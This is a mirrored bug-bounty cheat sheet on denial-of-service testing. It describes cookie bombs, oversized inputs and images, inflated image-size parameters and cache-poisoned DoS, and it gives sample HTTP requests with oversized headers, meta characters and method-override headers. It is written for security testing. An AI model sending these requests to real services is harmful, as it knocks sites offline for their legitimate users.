daffainfo
/
AllAboutBugBounty
mirror of https://github.com/daffainfo/AllAboutBugBounty.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
AllAboutBugBounty/Denial Of Service.md

5.5 KiB
Raw Blame History

Denial of Service

Introduction

Denial of Service is a type of attack on a service that disrupts its normal function and prevents other users from accessing it

Where to find

This vulnerability can appear in all features of the application. Depending on how to exploit it, for example in the file upload feature, you can upload very large files

How to exploit

  1. Cookie bomb
https://target.com/index.php?param1=xxxxxxxxxxxxxx

After input "xxxxxxxxxxxxxx" as a value of param1, check your cookies. If there is cookies the value is "xxxxxxxxxxxxxxxxxxxxxx" it means the website is vulnerable

  1. Try input a very long payload to form. For example using very long password or using very long email
POST /register HTTP/1.1
Host: target.com
...

username=victim&password=aaaaaaaaaaaaaaa
  1. Pixel flood, using image with a huge pixels

Download the payload: Here

  1. Frame flood, using GIF with a huge frame

Download the payload: Here

  1. Sometimes in website we found a parameter that can adjust the size of the image, for example
https://target.com/img/vulnerable.jpg?width=500&height=500

Try change "500" to "99999999999"

https://target.com/img/vulnerable.jpg?width=99999999999&height=99999999999
  1. Try changing the value of the header with something new, for example:
Accept-Encoding: gzip, gzip, deflate, br, br

  1. Sometimes if you try bug "No rate limit", after a long try it. The server will go down because there is so much requests

  2. ReDoS (Regex DoS) occurs due to poorly implemented RegEx

  3. CPDoS (Cache Poisoned Denial of Service)

  • HTTP Header Oversize (HHO)

    A malicious client sends an HTTP GET request including a header larger than the size supported by the origin server but smaller than the size supported by the cache

    GET /index.html HTTP/1.1
Host: victim.com
X-Oversized-Header-1: Big_Value
...

    The response is

    HTTP/1.1 400 Bad Request
...

Header size exceeded

  • HTTP Meta Character (HMC)

    this attack tries to bypass a cache with a request header containing a harmful meta character. Meta characters can be, e.g., control characters such as line break/carriage return (\n), line feed (\r) or bell (\a).

    GET /index.html HTTP /1.1
Host: victim.com
X-Meta-Malicious-Header: \r\n
...

    The response is

    HTTP/1.1 400 Bad Request
...

Character not allowed

  • HTTP Method Override (HMO)

    There are several headers present in HTTP Standard that allow modifying overriding the original HTTP header. Some of these headers are:

    1. X-HTTP-Method-Override
2. X-HTTP-Method
3. X-Method-Override

    The header instructs the application to override the HTTP method in request.

    GET /index.php HTTP/1.1
Host: victim.com
X-HTTP-Method-Override: POST
...

    The response is

    HTTP/1.1 404 Not Found
...

POST on /index.php not found

  • X-Forwarded-Port

    GET /index.php?dontpoisoneveryone=1 HTTP/1.1
Host: www.hackerone.com
X-Forwarded-Port: 123
...

  • X-Forwarded-Host

    GET /index.php?dontpoisoneveryone=1 HTTP/1.1
Host: www.hackerone.com
X-Forwarded-Host: www.hackerone.com:123
...

Response DoS

References